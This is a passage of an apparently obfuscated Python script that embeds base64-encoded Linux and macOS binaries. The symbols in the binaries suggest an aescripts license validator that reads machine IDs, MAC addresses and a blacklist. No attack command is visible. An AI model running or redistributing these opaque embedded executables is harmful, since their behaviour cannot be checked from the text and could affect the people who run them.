IAAAAAAAAAAAAAAAAAAAA5QAAAAYAAAADAAAAAAAAADCAYAAAAAAAMIAAAAAAAADAAQAAAAAAAAYAAAAAAAAACAAAAAAAAAAQAAAAAAAAAO4AAAABAAAAAwAAAAAAAADwgWAAAAAAAPCBAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAADzAAAAAQAAAAMAAAAAAAAA+IFgAAAAAAD4gQAAAAAAAFACAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA/AAAAAEAAAADAAAAAAAAAEiEYAAAAAAASIQAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAIBAAAIAAAAAwAAAAAAAABghGAAAAAAAEyEAAAAAAAAKAEAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAHAQAAAQAAADAAAAAAAAAAAAAAAAAAAABMhAAAAAAAACwAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAEQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAeIQAAAAAAAAQAQAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAACAAAAAAAAAAAAAAAAAAAAAAAAAEiNAAAAAAAA6BEAAAAAAAAeAAAASgAAAAgAAAAAAAAAGAAAAAAAAAAJAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAwnwAAAAAAAG8SAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAQAAAkAAAAAAAAAAAAAAAAAAAAAAAAMAAgAcAkAAAAAAAAAAAAAAAAAAAAAAAAMAAwA8AkAAAAAAAAAAAAAAAAAAAAAAAAMABABgAkAAAAAAAAAAAAAAAAAAAAAAAAMABQCYAkAAAAAAAAAAAAAAAAAAAAAAAAMABgDQCUAAAAAAAAAAAAAAAAAAAAAAAAMABwBQEUAAAAAAAAAAAAAAAAAAAAAAAAMACADwEUAAAAAAAAAAAAAAAAAAAAAAAAMACQBgEkAAAAAAAAAAAAAAAAAAAAAAAAMACgCQEkAAAAAAAAAAAAAAAAAAAAAAAAMACwA4GUAAAAAAAAAAAAAAAAAAAAAAAAMADABQGUAAAAAAAAAAAAA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pb2luaXQAX1pOOWFlc2NyaXB0c0wxNmJ1Zl90b19oZXhzdHJpbmdFUGhqAF9aTjlhZXNjcmlwdHNMMTZoZXhzdHJpbmdfdG9fYnVmRVBoalMwXwBfWkwxMkJpdF9NYW5nbGVfMWlpaWlpaWkAX1pMMTJCaXRfTWFuZ2xlXzJpaWlpaWlpAF9aTDEyQml0X01hbmdsZV8zaWlpaWlpaQBfWkwxMkJpdF9NYW5nbGVfNGlpaWlpaWkAX1pMMTJCaXRfTWFuZ2xlXzVpaWlpaWlpAF9aTDE0YmxhY2tMaXN0QXJyYXkAX1pMOHNtb2R1bHVzaWkAX1pMOG51bXRvc3RyagBfWkw5bG9uZ3Rvc3RyeQBfWkwxMW51bXRvaGV4c3RyagBfWkw5cGFkRGlnaXRzU3NqAF9aTDhjaHJSZW1hcGNQU3MAX1pMOGtleVJlbWFwalBTc2kAX1pMOWtleVdpemFyZGpqalBQRmlpaWlpaWlpRVBTc2JpAF9aTDE4SXNMaWNlbnNlVHlwZVZhbGlkU3MAX1pMMTFSZW1vdmVTdGVwc1JTc2ppU19TXwBfWkwxNWdldENoZWNrc3VtX29sZFNzU3MAX1pMMTFnZXRDaGVja3N1bVNzU3MAX1pMMTJnZXRWZXJpZkNvZGVTc2oAX1pMMTBnZXREZXRhaWxzUlNzU19TX1NfU18AX1pMMTJnZXRQdWJsaWNLZXlTc2lpAF9aNDFfX3N0YXRpY19pbml0aWFsaXphdGlvbl9hbmRfZGVzdHJ1Y3Rpb25fMGlpAF9HTE9CQUxfX0lfX1pOOWFlc2NyaXB0czEyZ2V0TWFjaGluZUlkRVJBMTI4X2MAX1paTDE4X19ndGhyZWFkX2FjdGl2ZV9wdkUyMF9fZ3RocmVhZF9hY3RpdmVfcHRyAF9HTE9CQUxfT0ZGU0VUX1RBQkxFXwBfX2luaXRfYXJyYXlfZW5kAF9faW5pdF9hcnJheV9zdGFydABfRFlOQU1JQwBkYXRhX3N0YXJ0AF9aTlN0OGlvc19iYXNlNHNldGZFU3QxM19Jb3NfRm10ZmxhZ3NTMF8AX1pOOWFlc2NyaXB0czEzT3V0QXNVbnNpZ25lZEVjAF9aTlNzYVNFUEtjQEBHTElCQ1hYXzMuNABfWk5Tc0MxRXZAQEdMSUJDWFhfMy40AF9aTlN0MTRiYXNpY19pZnN0cmVhbUljU3QxMWNoYXJfdHJhaXRzSWNFRTVjbG9zZUV2QEBHTElCQ1hYXzMuNABfWk5Tb2xzRWlAQEdMSUJDWFhfMy40AF9aTlNzcExFUEtjQEBHTElCQ1hYXzMuNABtZW1zZXRAQEdMSUJDXzIuMi41AF9fbGliY19jc3VfZmluaQBfWk5TczVjbGVhckV2QEBHTElCQ1hYXzMuNABzaHV0ZG93bkBAR0xJQkNfMi4yLjUAX3N0YXJ0AF9aU3RwbEljU3QxMWNoYXJfdHJhaXRzSWNFU2FJY0VFU2JJVF9UMF9UMV9FUktTNl9TOF8AX1pTdG9yU3QxM19Jb3NfRm10ZmxhZ3NTXwBfWk5LU3M2c3Vic3RyRW1tQEBHTElCQ1hYXzMuNABpb2N0bEBAR0xJQkNfMi4yLjUAX1pOU3NwTEVjQEBHTElCQ1hYXzMuNABfX2dtb25fc3RhcnRfXwBfSnZfUmVnaXN0ZXJDbGFzc2VzAF9aTktTczVjX3N0ckV2QEBHTElCQ1hYXzMuNABfWm5hbUBAR0xJQkNYWF8zLjQAX1pOMTdNQUNBZGRyZXNzVXRpbGl0eTE4R2V0QWxsTUFDQWRkcmVzc2VzRVBoAF9maW5pAF9aTlNpNXRlbGxnRXZAQEdMSUJDWFhfMy40AF9aTktTczRzaXplRXZAQEdMSUJDWFhfMy40AF9aTlN0OGlvc19iYXNlNEluaXRDMUV2QEBHTElCQ1hYXzMuNABfWjE4Y2hlY2tCbGFja0xpc3Rfb2xkaWkAX19saWJjX3N0YXJ0X21haW5AQEdMSUJDXzIuMi41AF9aU3RvclN0MTNfSW9zX09wZW5tb2RlU18AX1pTdGxzSVN0MTFjaGFyX3RyYWl0c0ljRUVSU3QxM2Jhc2ljX29zdHJlYW1JY1RfRVM1X2hAQEdMSUJDWFhfMy40AF9aTlNpNXNlZWtnRWxTdDEyX0lvc19TZWVrZGlyQEBHTElCQ1hYXzMuNABfWlN0b1JSU3QxM19Jb3NfRm10ZmxhZ3NTXwBfWk5Tc0MxRVJLU3NAQEdMSUJDWFhfMy40AF9fY3hhX2F0ZXhpdEBAR0xJQkNfMi4yLjUAX1pOMTdNQUNBZGRyZXNzVXRpbGl0eTE4R2V0TUFDQWRkcmVzc0xpbnV4RVBoAF9aTlNpNHJlYWRFUGNsQEBHTElCQ1hYXzMuNABfWjE0Y2hlY2tCbGFja0xpc3RpaWlpAF9aTktTczZsZW5ndGhFdkBAR0xJQkNYWF8zLjQAX1pOOWFlc2NyaXB0czExTGljZW5zZURhdGFDMkV2AF9aTlN0OGlvc19iYXNlNEluaXREMUV2QEBHTElCQ1hYXzMuNABnZXRwd3VpZEBAR0xJQkNfMi4yLjUAX1pTdGxzSVN0MTFjaGFyX3RyYWl0c0ljRUVSU3QxM2Jhc2ljX29zdHJlYW1JY1RfRVM1X1BLY0BAR0xJQkNYWF8zLjQAX1pTdHBsSWNTdDExY2hhcl90cmFpdHNJY0VTYUljRUVTYklUX1QwX1QxX0VSS1M2X1BLUzNfAF9JT19zdGRpbl91c2VkAF9aTlNvNXdyaXRlRVBLY2xAQEdMSUJDWFhfMy40AF9aTlNzRDFFdkBAR0xJQkNYWF8zLjQAX19kYXRhX3N0YXJ0AF9aTjlhZXNjcmlwdHMxMmdldE1hY2hpbmVJZEVSQTEyOF9jAGJjb3B5QEBHTElCQ18yLjIuNQBzcHJpbnRmQEBHTElCQ18yLjIuNQBfWk5Tc3BMRVJLU3NAQEdMSUJDWFhfMy40AF9aU3Rjb1N0MTNfSW9zX0ZtdGZsYWdzAF9aU3Q3c2V0ZmlsbEljRVN0OF9TZXRmaWxsSVRfRVMxXwBfWlN0M2hleFJTdDhpb3NfYmFzZQBfWjRrZXkxU3NpAGF0b2xAQEdMSUJDXzIuMi41AF9aTjlhZXNjcmlwdHM3Z2V0UGF0aEVTc2JSU3MAX1pOU3NDMUVQS2NSS1NhSWNFQEBHTElCQ1hYXzMuNABfWk45YWVzY3JpcHRzMTdzYXZlTGljZW5zZVRvRmlsZUVQS2NQYwBfWlN0NGNvdXRAQEdMSUJDWFhfMy40AF9aTlN0MTRiYXNpY19pZnN0cmVhbUljU3QxMWNoYXJfdHJhaXRzSWNFRUQxRXZAQEdMSUJDWFhfMy40AF9aMTRtYWtlU2VlZHNBcnJheVNzaQBfX2Rzb19oYW5kbGUAX1pTdGFOUlN0MTNfSW9zX0ZtdGZsYWdzU18AX1pOU3NpeEVtQEBHTElCQ1hYXzMuNABfX0RUT1JfRU5EX18AX19saWJjX2NzdV9pbml0AGF0b2lAQEdMSUJDXzIuMi41AF9aTlN0MTRiYXNpY19vZnN0cmVhbUljU3QxMWNoYXJfdHJhaXRzSWNFRUQxRXZAQEdMSUJDWFhfMy40AF9aTlN0MThiYXNpY19zdHJpbmdzdHJlYW1JY1N0MTFjaGFyX3RyYWl0c0ljRVNhSWNFRUMxRVN0MTNfSW9zX09wZW5tb2RlQEBHTElCQ1hYXzMuNABfWk5Tb2xzRWpAQEdMSUJDWFhfMy40AF9aTjlhZXNjcmlwdHMxOWxvYWRMaWNlbnNlRnJvbUZpbGVFUEtjUkExMjhfYwBfWk5TdDE0YmFzaWNfb2ZzdHJlYW1JY1N0MTFjaGFyX3RyYWl0c0ljRUU1Y2xvc2VFdkBAR0xJQkNYWF8zLjQAc29ja2V0QEBHTElCQ18yLjIuNQBfWk5LU3Q0ZnBvc0kxMV9fbWJzdGF0ZV90RWN2bEV2AF9aMTNyZXZlcnNlU3RyaW5nU3MAX19ic3Nfc3RhcnQAX1pTdGxzSWNTdDExY2hhcl90cmFpdHNJY0VTYUljRUVSU3QxM2Jhc2ljX29zdHJlYW1JVF9UMF9FUzdfUktTYklTNF9TNV9UMV9FQEBHTElCQ1hYXzMuNABzdHJjbXBAQEdMSUJDXzIuMi41AF9aTlNhSWNFRDFFdkBAR0xJQkNYWF8zLjQAc3RyY3B5QEBHTElCQ18yLjIuNQBfWk5TczVlcmFzZUVtbUBAR0xJQkNYWF8zLjQAZ2V0dWlkQEBHTElCQ18yLjIuNQBfWmRhUHZAQEdMSUJDWFhfMy40AHB0aHJlYWRfY2FuY2VsAF9aTlNzNmFwcGVuZEVQS2NAQEdMSUJDWFhfMy40AF9aTlN0MTRiYXNpY19vZnN0cmVhbUljU3QxMWNoYXJfdHJhaXRzSWNFRTdpc19vcGVuRXZAQEdMSUJDWFhfMy40AF9aTlN0MTRiYXNpY19pZnN0cmVhbUljU3QxMWNoYXJfdHJhaXRzSWNFRUMxRVBLY1N0MTNfSW9zX09wZW5tb2RlQEBHTElCQ1hYXzMuNABfZW5kAF9aTlNvbHNFUEZSU29TX0VAQEdMSUJDWFhfMy40AF9aU3Q0c2V0d2kAX1pOU3QxNGJhc2ljX29mc3RyZWFtSWNTdDExY2hhcl90cmFpdHNJY0VFQzFFUEtjU3QxM19Jb3NfT3Blbm1vZGVAQEdMSUJDWFhfMy40AF9fY3hhX2VuZF9jYXRjaEBAQ1hYQUJJXzEuMwBfWk5TaXJzRVJtQEBHTElCQ1hYXzMuNABfWlN0NGVuZGxJY1N0MTFjaGFyX3RyYWl0c0ljRUVSU3QxM2Jhc2ljX29zdHJlYW1JVF9UMF9FUzZfQEBHTElCQ1hYXzMuNABfX2N4YV9iZWdpbl9jYXRjaEBAQ1hYQUJJXzEuMwBfWk5TdDE4YmFzaWNfc3RyaW5nc3RyZWFtSWNTdDExY2hhcl90cmFpdHNJY0VTYUljRUVEMUV2QEBHTElCQ1hYXzMuNABfWk5TczlwdXNoX2JhY2tFY0BAR0xJQkNYWF8zLjQAX1pOOWFlc2NyaXB0czExTGljZW5zZURhdGFDMUV2AF9lZGF0YQBfWk5TYUljRUMxRXZAQEdMSUJDWFhfMy40AF9fZ3h4X3BlcnNvbmFsaXR5X3YwQEBDWFhBQklfMS4zAF9aTktTdDE4YmFzaWNfc3RyaW5nc3RyZWFtSWNTdDExY2hhcl90cmFpdHNJY0VTYUljRUUzc3RyRXZAQEdMSUJDWFhfMy40AF9aU3RhblN0MTNfSW9zX0ZtdGZsYWdzU18AX1Vud2luZF9SZXN1bWVAQEdDQ18zLjAAX1pOU3NhU0VSS1NzQEBHTElCQ1hYXzMuNABfWk5Tb2xzRVBGUlN0OGlvc19iYXNlUzBfRUBAR0xJQkNYWF8zLjQAX1pOU3M2YXBwZW5kRVJLU3NAQEdMSUJDWFhfMy40AF9aTjlhZXNjcmlwdHMxNXZhbGlkYXRlTGljZW5zZUVQY2lSTlNfMTFMaWNlbnNlRGF0YUUAX1pOS1NzNGZpbmRFUEtjbUBAR0xJQkNYWF8zLjQAX1pTdGxzSWNTdDExY2hhcl90cmFpdHNJY0VFUlN0MTNiYXNpY19vc3RyZWFtSVRfVDBfRVM2X1N0NV9TZXR3QEBHTElCQ1hYXzMuNABfWlN0bHNJY1N0MTFjaGFyX3RyYWl0c0ljRUVSU3QxM2Jhc2ljX29zdHJlYW1JVF9UMF9FUzZfU3Q4X1NldGZpbGxJUzNfRUBAR0xJQkNYWF8zLjQAX1pOU3QxNGJhc2ljX2lmc3RyZWFtSWNTdDExY2hhcl90cmFpdHNJY0VFN2lzX29wZW5FdkBAR0xJQkNYWF8zLjQAbWtkaXJAQEdMSUJDXzIuMi41AG1haW4AX2luaXQA') return R raise Exception('unsupported operating system:' + bw()) def ertuze(a): if a.__isMacOs(): R = at( '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